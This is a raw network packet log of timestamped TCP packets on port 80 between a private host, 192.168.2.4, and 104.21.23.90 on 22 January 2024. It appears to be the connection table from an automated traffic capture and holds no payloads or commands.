Jan 22, 2024 11:52:05.130795002 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.130809069 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.130815029 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.130855083 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.131530046 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.131582975 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.138976097 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.139004946 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.139015913 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.139028072 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.139040947 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.139074087 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.139238119 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.139311075 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.139324903 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.139359951 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.139384031 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.139396906 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.139408112 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.139436007 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.139448881 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.140189886 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.140202999 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.140244007 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.140247107 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.140256882 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.140269995 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.140315056 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.141118050 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.141129971 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.141141891 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.141155958 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.141169071 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.141171932 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.141191959 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.141222000 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.141963959 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.141976118 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.141987085 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.141998053 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.142009974 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.142019987 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.142036915 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.142719984 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.142754078 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.142771006 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.142811060 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.142823935 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.142834902 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.142862082 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.142889977 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.143642902 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.143655062 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.143672943 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.143687010 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.143701077 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.143702984 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.143733978 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.144506931 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.144520044 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.144530058 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.144541979 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.144556046 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.144562960 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.144593000 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.144608021 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.145297050 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.145354986 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.145366907 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.145378113 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.145390987 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.145414114 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.145445108 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.146135092 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.146171093 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.146183014 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.146184921 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.146204948 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.146218061 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.146224976 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.146270990 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.147027016 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.147038937 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.147049904 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.147080898 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.152400970 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.152414083 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.152424097 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.152436972 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.152448893 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.152467012 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.152498960 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.152787924 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.152801037 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.152812004 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.152822018 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.152838945 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.152873993 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.202682018 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.202724934 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.202735901 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.202749014 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.202769041 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.202831984 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.202862978 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.202908039 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.202923059 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.202938080 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.202951908 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.202959061 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.202966928 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.202995062 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.203027010 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.203767061 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.203783989 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.203799009 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.203813076 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.203831911 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.203847885 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.203885078 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.204551935 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.204565048 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.204602003 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.204626083 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.204639912 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.204653978 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.204679012 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.204709053 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.205437899 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.205451012 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.205463886 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.205482006 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.205495119 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.205506086 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.205538988 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.206343889 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.206357956 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.206370115 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.206382990 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.206396103 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.206401110 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.206423998 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.206443071 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.207176924 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.207192898 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.207206011 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.207220078 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.207232952 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.207236052 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.207268953 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.207993031 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.208007097 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.208018064 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.208038092 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.208046913 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.208054066 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.208076954 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.208106995 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.208916903 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.208930969 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.208942890 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.208957911 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.208971977 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.208975077 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.209012032 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.209733963 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.209753036 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.209765911 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.209779978 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.209784031 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.209795952 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.209811926 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.209840059 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.210580111 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.210594893 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.210607052 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.210621119 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.210633039 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.210634947 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.210666895 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.211400032 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.211416006 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.211446047 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.211453915 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.211461067 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.211474895 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.211493969 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.211524010 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.212308884 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.212326050 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.212337971 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.212353945 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.212367058 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.212378025 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.212404013 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.213170052 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.213203907 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.213215113 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.213228941 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.213243008 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.213263035 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.213295937 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.213972092 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.214035034 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.214049101 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.214060068 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.214081049 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.214086056 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.214112043 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.214806080 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.214863062 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.214870930 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.214884043 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.214898109 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.214910984 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.214934111 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.214968920 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.215724945 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.215738058 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.215749979 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.215763092 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.215776920 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.215780020 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.215810061 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.216507912 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.216558933 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.216578960 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.216592073 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.216607094 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.216619968 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.216635942 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.216679096 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.217410088 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.217423916 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.217436075 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.217452049 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.217463970 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.217464924 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.217492104 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.218303919 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.218321085 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.218337059 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.218350887 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.218353987 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.218365908 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.218385935 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.218414068 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.225740910 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.225775957 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.225838900 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.243525982 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.243539095 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.243551016 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.243588924 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.244024992 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.244039059 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.244050980 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.244064093 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.244076967 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.244077921 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.244107008 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.244141102 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.244586945 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.244652987 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.244668961 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.244680882 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.244694948 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.244704008 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.244728088 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.245430946 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.245475054 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.245481014 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.245527983 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.245542049 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.245553970 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.245578051 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.245604992 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.246371031 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.246385098 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.246397018 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.246413946 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.246427059 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.246440887 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.246478081 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.247237921 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.247251987 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.247263908 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.247277021 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.247288942 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.247289896 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.247318983 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.247349024 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.247977018 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.248068094 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.248084068 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.248095036 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.248107910 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.248122931 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.248122931 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.248157024 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.248178005 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.248965025 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.248979092 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.248991966 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.249005079 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.249017954 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.249020100 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.249052048 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.257083893 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.257112980 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.257123947 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.257138014 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.257157087 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.257178068 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.257215977 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.257510900 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.257524014 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.257535934 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.257549047 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.257561922 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.257567883 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.257590055 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.258297920 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.258311033 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.258352995 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.258362055 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.258374929 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.258387089 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.258418083 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.258435011 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.259224892 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.259238958 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.259249926 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.259267092 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.259280920 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.259283066 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.259313107 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.260042906 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.260060072 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.260071993 CET	80	49730	104.21.23.90	192.168.2.4
